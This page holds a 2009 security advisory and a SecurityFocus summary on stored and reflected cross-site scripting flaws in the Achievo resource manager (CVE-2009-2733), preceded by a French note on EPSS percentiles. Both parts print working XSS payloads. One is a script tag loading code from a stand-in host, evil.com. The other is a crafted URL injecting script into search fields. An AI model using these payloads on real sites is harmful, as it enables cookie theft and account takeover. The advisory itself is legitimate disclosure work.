Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Bonsai Information Security - Advisory http://www.bonsai-sec.com/research/ Multiple XSS in Achievo 1. *Advisory Information* Title: Multiple XSS in Achievo Advisory ID: BONSAI-2009-0101 Advisory URL: http://www.bonsai-sec.com/research/vulnerabilities/achievo-multiple-xss-0101.txt Date published: 2009-10-13 Vendors contacted: Achievo Release mode: Coordinated release 2. *Vulnerability Information* Class: Multiple Cross Site Scripting (XSS) Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2009-2733 3. *Software Description* Achievo is a flexible web-based resource management tool for business environments. Achievo's resource management capabilities will enable organizations to support their business processes in a simple, but effective manner [0]. 4. *Vulnerability Description* Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. For additional information, please read [1]. 5. *Vulnerable packages* Version <= 1.3.4 6. *Non-vulnerable packages* Achievo developers informed us that all users should upgrade to the latest version of Achievo, which fixes this vulnerability. More information to be found here: http://www.achievo.org/ 7. *Credits* This vulnerability was discovered by Ryan Dewhurst ( ryan -at- bonsai-sec.com ). 8. *Technical Description* 8.1 A Persistent Cross Site Scripting vulnerability was found in the 'tittle' variable within the scheduler module. This is because the application does not properly sanitise the users input. The vulnerability can be triggered by a user submitting the following data within the scheduler title: <SCRIPT SRC=//evil.com/xss.js></SCRIPT> Which will include the xss.js javascript file within the schedule. A javascript that exploits this issue and creates a new administrator user in the system can be found in Bonsai's blog [2]. 8.2 A Reflected Cross Site Scripting vulnerability was found in the atksearch[contractnumber], atksearch_AE_customer[customer] and atksearchmode[contracttype] variables within the 'Organisation Contracts' administration page. This is because the application does not properly sanitise the users input. The vulnerability can be triggered by clicking on the following URL: http://www.example.com/dispatch.php?atkprevlevel=0&atkescape=&atknodetype=organization.contracts&atkaction=admin&atksmartsearch=clear&atkstartat=0&atksearch[contractnumber]="><script>alert('xss');</script>&atksearchmode[contractnumber]=substring&atksearch[contractname]="><script>alert('xss');</script>&atksearchmode[contractname]=substring&atksearch_AE_contracttype[contracttype][=&atksearchmode[contracttype]=exact&atksearch_AE_customer[customer]="><script>alert('xss');</script>&atksearchmode[customer]=substring 9. *Report Timeline* - 2009-07-09: Vulnerabilities were identified. - 2009-08-08: Vendor contacted. - 2009-08-12: Vendor confirmed vulnerabilities. - 2009-08-14: Vendor sets possible release date of fixed version to Monday 12 Oct. - 2009-10-12: Vendor released fixed version. - 2009-10-13: The advisory BONSAI-2009-0101 is published. 10. *References* [0] http://www.achievo.org/ [1] http://www.owasp.org/index.php/Cross_site_scripting [2] http://www.bonsai-sec.com/blog/index.php/cross-site-scripting-payloads/ 11. *About Bonsai* Bonsai is a company involved in providing professional computer information security services.

source: https://www.securityfocus.com/bid/36661/info Achievo is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data. Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. Versions prior to Achievo 1.4.0 are affected. <SCRIPT SRC=//evil.com/xss.js></SCRIPT> http://www.example.com/dispatch.php?atkprevlevel=0&atkescape=&atknodetype=organization.contracts&atkaction=admin&atksmartsearch=clear&atkstartat=0&atksearch[contractnumber]="><script>alert(&#039;xss&#039;);</script>&atksearchmode[contractnumber]=substring&atksearch[contractname]="><script>alert(&#039;xss&#039;);</script>&atksearchmode[contractname]=substring&atksearch_AE_contracttype[contracttype][=&atksearchmode[contracttype]=exact&atksearch_AE_customer[customer]="><script>alert(&#039;xss&#039;);</script>&atksearchmode[customer]=substring
